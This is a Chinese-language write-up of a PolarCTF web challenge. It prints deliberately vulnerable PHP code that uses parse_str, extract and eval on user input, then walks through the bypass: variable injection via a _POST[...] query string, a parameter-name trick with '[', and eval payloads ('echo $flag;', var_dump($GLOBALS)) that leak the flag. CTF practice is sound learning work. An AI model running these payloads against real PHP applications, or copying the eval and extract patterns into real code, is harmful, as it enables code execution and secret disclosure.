【PolarCTF】PHP是世界上最好的语言
·
<?php
//flag in $flag
highlight_file(__FILE__);
include("flag.php");
$c = $_POST["sys"];
$key1 = "0";
$key2 = "0";
if (isset($_GET["flag1"]) || isset($_GET["flag2"]) || isset($_POST["flag1"]) || isset($_POST["flag2"])) {
die("nonononono");
}
# $_SERVER['QUERY_STRING']:获取 URL 问号后面全部 GET 参数原始字符串
# parse_str(string):自动把字符串解析成变量,注入当前作用域 例:parse_str("a=1&b=2") → 生成 $a=1、$b=2
@parse_str($_SERVER["QUERY_STRING"]);
# 遍历 POST 所有键值,直接注册成当前作用域变量 例:POST 传 user=admin → 自动生成 $user="admin"
extract($_POST);
if ($flag1 == "8gen1" && $flag2 == "8gen1") {
if (isset($_POST["504_SYS.COM"])){
if (!preg_match("/\||/|~|`|!|@|#|%|^|*|-|+|=|{|}|"|'|,|.|?/", $c)){
eval("$c");
}
}
}
?>
第一部分
parse_str和extract相互配合绕过传参限制
首先是:
if (isset($_GET["flag1"]) || isset($_GET["flag2"]) || isset($_POST["flag1"]) || isset($_POST["flag2"])) {
die("nonononono");
}
if ($flag1 == "8gen1" && $flag2 == "8gen1")
那么我们可以:
http://d766e1ae-51c8-4a18-bee7-b0244e559c81.www.polarctf.com:8090/?_POST[flag1]=8gen1&_POST[flag2]=8gen1
由于没有通过传统的GET、POST方式,因此可以绕过
if (isset($_GET["flag1"]) || isset($_GET["flag2"]) || isset($_POST["flag1"]) || isset($_POST["flag2"]))
经过 @parse_str($_SERVER['QUERY_STRING']) 则变成了:
$_POST[flag1]=8gen1 和 $_POST[flag2]=8gen1
再经过 extract($_POST) 就变成了:
$flag1=8gen1 和 $flag2=8gen1
就可以成功绕过:
if ($flag1 == "8gen1" && $flag2 == "8gen1")
第二部分
参数包含_的传递
if (isset($_POST["504_SYS.COM"]))
由于POST不能传递_,可以使用:
.
[
%20
但是本题只能使用 [,因此第二部分的payload:
504[SYS.COM=1
第三部分
$c = $_POST["sys"];
if (!preg_match("/\||/|~|`|!|@|#|%|^|*|-|+|=|{|}|"|'|,|.|?/", $c))
使用echo获取$flag
由于没有过滤echo,可以使用echo输出:
sys=echo $flag;
使用var_dump获取$flag
也可以使用:
sys=var_dump($GLOBALS);
总结
因此,完成payload如下:
GET方式:
http://d766e1ae-51c8-4a18-bee7-b0244e559c81.www.polarctf.com:8090/?_POST[flag1]=8gen1&_POST[flag2]=8gen1
POST方式:
504[SYS.COM=1&sys=echo $flag;
504[SYS.COM=1&sys=var_dump($GLOBALS);


更多推荐
所有评论(0)